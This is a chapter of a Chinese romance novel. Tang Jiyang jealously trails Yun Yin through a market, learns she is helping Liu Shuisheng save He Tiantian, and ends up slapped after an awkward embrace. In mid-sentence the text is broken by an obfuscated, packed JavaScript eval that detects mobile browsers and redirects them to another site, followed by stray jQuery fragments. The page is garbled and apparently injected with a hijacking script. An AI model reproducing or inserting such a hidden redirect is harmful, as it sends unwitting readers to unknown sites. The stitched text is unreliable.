集市人头攒动,结伴一起的同伴一旦分神都有走散风险,更别提在人群中捕捉到熟悉的人。
唐季扬偏偏瞥见了云洇,以他淹没人群的身高。
不仅瞅见了云洇,还发现了跟在她身后的刘水生。
“他们怎会在一块?”唐季扬喃喃道。
“少爷,您说谁和谁在一块?”唐明双手摞着刚采买的日常用品,高过头顶,他伸着脖子往一旁看,也看不见前方,堆积的东西反而随着他重心倾斜,险些掉在地上。
“云洇和刘水生……他们走在一起!”唐季扬没空管唐明的手忙脚乱,眼睛紧紧追踪着二人动向。
刘水生害了阿婆,云洇还能心平气和与他一起,怕不是被威胁了?
不然他想不出,她这么记仇的人,怎会原谅刘水生。
就算不报复,也肯定不会理他,绝对不会理他,绝对绝对不会理他。
一遍遍在脑海中强调着这句话,唐季扬移不开视线,突然冒出个小毛孩将那二人险些冲散了。
云洇停了下来,等着没跟上的刘水生,脸上没什么表情,和平日一模一样。
不是威胁,她是自愿的。
唐季扬嘴角肉眼可见撇了下去,整张脸显而易见透着不高兴。
与自己做陌生人的她,现如今,又是在做什么?口口声声控诉着自己的恶行,转眼便与害了阿婆的罪魁祸首相谈甚欢。
凭什么?他明明比自己还要恶劣得多!
凭什么?凭什么?
……凭什么讨厌自己,不讨厌他?
“少爷啊,你不是说以后都叫云洇云姑娘了吗?怎么又直呼她名?”
唐明终于瞅见云洇二人。
自那夜创造机会让少爷与云洇出去幽会,也不知发生了什么,少爷一直闷闷不乐、暴躁易怒,像是吃了个火药桶,常常一点就炸。之后更是不认识云洇似的,与她迎面碰上别说聊上几句,连招呼都不打了。
唐明观察几日,他得出结论——二人是陷入了冷战!
俗话说得好,打是亲骂是爱,夫妻还床头吵架床尾和呢,这俩还未在一起,怎好闹什么冷战,互不搭理?
因着少爷,唐明被处以连坐之罪,就算他腆着脸与云洇论马,都得不到一个好脸色,让少爷吃醋的事更是一点也办不到。
正愁“山重水复疑无路”,哪想“柳暗花明又一村”。眼见少爷都要将那唯唯诺诺的刘水生盯出个洞来,唐明心中嘿嘿一笑,看不急死他!
唐明故意刺激唐季扬:“少爷,秦先生等得急,所需物品也已采购好,我们快回去吧。刘水生一定不是因为何师抛弃了他才转而恋上云姑娘的。他们也肯定不会干什么镜花水月呀,花前月下呀,互诉衷肠之类的事的,您就放宽心吧。”
……本来确实没想到,经唐明这么一说,二人于青青杨柳旁、流金圆月下,柔情相望、喁喁私语的画面登时浮现在唐季扬脑海中,挥之不去,愈发作呕。
云洇是瞎了才会看上他!
“唐明,”唐季扬咬牙切齿:“真谢谢你啊,癞蛤蟆吃天鹅肉,也是让少爷我开了眼。”
哟,原来在少爷心中云姑娘和天鹅一样美呀。唐明得意,接着拱火:“云姑娘毕竟孤身一人,难免会觉寂寥,这时就算是癞蛤蟆,也成了解语花吧——哎呀,管这些做什么?我们快些回县里罢。”
“你是主子我是主子?再擅自主张,拿着你的卖身契滚!”唐季扬一甩衣袖,火气彻底被唐明激了起来,却还不忘找个借口:“云姑娘好歹算我们邻居,照拂一下无可厚非。为防被什么阿猫阿狗盯上,我跟上去看看,你先回去吧。”
“好咧!”少爷,姑娘就要哄,您可要争气呀!
唐明跑得飞快,留给唐季扬一个“一定要努力”的背影。
本就轻功卓绝,经秦焕日复一日的抬水苦练,唐季扬气息平稳细微,更让人难以察觉。
云洇拿着手中清单,一家家药铺买着所需药材,于是刘水生怀中药包越积越多,终于在叠上第六个的时候全散了下来。
“你是残废吗?连几包药都拿不好?”云洇对刘水生没有好脸色,她想不通,何田田竟然会接受他。但凡换一个身强力壮的情夫,她如今都不至于沦落至此。
“我伤还没好全……”刘水生咳了几声,弯腰将药包捡起,看起来虚弱可怜,云洇却蛾眉深蹙,怎么看他都不是个东西。
她把药夺了过来,一串三包,一手一串:“算了,反正已经买好了,不需你再跟着我。”
“我就直接回去了?你还没告诉我怎么救田田!”
云洇微抬眼皮,只说:“你去求陈苗,让他给你机会加入他们。”
“那不是为虎作伥?这怎么能行!”太过激动,刘水生牵扯到腹部淤青,疼得倒吸口凉气,弯腰捂着肚子。
这般弱不禁风的样子,令云洇更看不起他,唐季扬发高烧时尚且能从李府赶到常乐坊救她,他不过一些皮外伤,空有救何田田的决心,一点用处也没有!
一会儿才意识到自己想到了谁,云洇脸色一僵,晃了晃脑袋,试图将乱入的唐季扬驱赶出去。
她怎能拿他与刘水生作比!
“反正、反正听我的没错。这里人多眼杂,具体计划,我后面再告诉你。”
“可……”
“没什么可是!记住别让人知道我与你见过面,知道了就快回去!”
云洇脚步匆匆,仅因突现脑海的唐季扬便乱了心神,于是当在回程路上偶遇他时,更是难掩慌张,下意识扭头就走。
“云姑娘!”唐季扬喊住她:“我是什么瘟神吗?见我就像耗子见了猫?”
要是往日,云洇必要停下与他斗嘴一番。可所谓“今时不同往日”,她心境大有不同,倒真觉唐季扬说得极对,是耗子便是耗子吧,她如今,确实见不得光。
纵使有心躲闪,她步伐也远比不上跨步极大的少年。不过几步,唐季扬就将她拦下:“云姑娘,我们好歹也是邻居,偶尔遇上,一起回去都不行?”
“对不行。”
云洇低着头不敢看他,唐季扬脸一僵,就算不乐意,这答得也太快了些!
“这就是你对萍水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808510|166437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相逢之人的态度?说好的形同陌路呢?你分明对我还有怨!”
唐季扬耿耿于怀,他方才偷听到云洇与刘水生走在一起,原是为了救何田田,悬着的心这才放下。
可她呢?能为了敌视她的何田田暂时忘却与刘水生的恩怨,为什么就不能因他的示好与自己重新相识?
云洇当然不是还怨他,更不知唐季扬心中百转千回,一肚子弯弯绕绕。此刻她只想立马摆脱此人,于是他说什么她便应什么,脱口而出:“随便你怎么想,我要走了。”
仿若一拳打在棉花上,无论唐季扬怎么说,云洇都不放在心上,他一面感到深深的无力,一面又升腾起无尽的恼意。
若她只对自己一人如此,唐季扬可以忍。可有刘水生作比,他心中的天平瞬间失衡。比起当下的避如蛇蝎,他倒宁愿云洇骂自己凶自己打自己——他与刘水生的待遇合该一样!
见自己拦在路间,云洇竟还想着从自己臂下穿过,唐季扬被恼怒冲昏了头脑,右手臂揽住她腰,吼道:“不准走!”
云洇本就心神不宁,唐季扬霸道一揽,她受了惊,腿一软就要跪在地上。
她没能跪下,因为唐季扬另一只手臂已伸过来,将云洇翻转到自己跟前。
于是诡异般的,两人莫名其妙背贴着胸拥在一起。感受到少年不期然喷在自己脖颈上的热气,云洇呼吸一滞,两串药包均掉落在地。
血气上涌得快,褪得亦快。唐季扬也立即察觉到不妥,这这这,这和耳鬓厮磨的情人有什么区别!
……还是有区别,他们不会选在路上,也不会像自己这样到现在仍不松手……
“抱……抱歉!”
“登徒子!”
二人同时发声,亦同时发力。唐季扬手松开时,云洇正朝前挣脱,这样一来,她又重心不稳朝地上倒去。
唐季扬再一次捞住了她。这次却是一手触腰,一手抓手腕,使劲略大,云洇转身扑向他,一时鼻子碰鼻子,呼吸交缠在一起。
经唐季扬这么好似故意、实则巧合的一遭,云洇早已与红霞融为一体,像被灌了半坛烈酒般晕头转向。她脑子一时转不过弯,竟没立刻退开,二人额间相触,只需唐季扬再靠近一步,就能浅尝绛唇。
可惜他更不开窍,毫无一丝旖旎之想,只心中警铃大作,大骂自己都干了些什么!
“云、云姑娘,你没事吧?能站、站稳的话,我我我,放手了……”
声音是止不住的结巴,唐季扬小心翼翼观察着云洇的反应,却见她似乎受了什么刺激,耳根子发烫,仿佛什么话也听不进去。
“你……你……”
她喃喃细语,唐季扬试探地用手扫了扫,见她眼睛不跟着动,又凑上前:“什么?”
“你个流氓!”
只听清脆一声响,唐季扬头猛地一偏,留下个鲜红的巴掌印。云洇气愤地将他推开,蒙着头往前冲了几步,才想起来落下的药包,便又蒙着头绕过还呆立原地的唐季扬,拿起药包便逃也似的跑走了。
是他要的云洇骂他凶他打他,这下全齐乎了。